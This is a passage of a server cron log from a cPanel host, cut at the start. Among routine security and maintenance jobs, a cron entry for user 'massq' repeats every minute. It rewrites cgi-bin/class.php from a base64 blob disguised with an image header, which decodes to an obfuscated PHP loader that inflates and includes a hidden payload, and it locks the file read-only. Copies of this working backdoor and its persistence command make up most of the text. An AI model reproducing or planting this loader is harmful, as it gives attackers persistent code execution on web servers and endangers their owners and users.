C2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:13:01 server CROND[20217]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:13:01 server CROND[20218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:13:01 server CROND[20219]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:14:01 server CROND[20599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:14:01 server CROND[20600]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:14:01 server CROND[20601]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:15:01 server CROND[21000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:15:01 server CROND[21002]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 07:15:01 server CROND[21003]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 07:15:01 server CROND[21006]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 07:15:01 server CROND[21010]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 07:15:01 server CROND[21012]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:15:01 server CROND[21005]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:15:01 server CROND[21009]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 07:16:01 server CROND[21936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:16:01 server CROND[21937]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:16:01 server CROND[21939]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:17:01 server CROND[22318]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:17:01 server CROND[22319]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:17:01 server CROND[22320]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:18:01 server CROND[22755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:18:01 server CROND[22757]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:18:01 server CROND[22756]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:19:01 server CROND[23313]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:19:01 server CROND[23314]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:19:01 server CROND[23316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:20:01 server CROND[23717]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 07:20:01 server CROND[23718]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 07:20:01 server CROND[23728]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 07:20:01 server CROND[23730]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 07:20:01 server CROND[23734]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:20:01 server CROND[23736]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:20:01 server CROND[23738]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 07:20:01 server CROND[23739]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:20:01 server CROND[23737]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 07:21:02 server CROND[24583]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:21:02 server CROND[24584]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:21:02 server CROND[24585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:22:01 server CROND[25051]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:22:01 server CROND[25052]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:22:01 server CROND[25053]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:23:01 server CROND[25432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:23:01 server CROND[25431]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:23:01 server CROND[25433]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:24:01 server CROND[25814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:24:01 server CROND[25815]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:24:01 server CROND[25816]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:25:01 server CROND[26208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:25:01 server CROND[26210]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 07:25:01 server CROND[26212]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
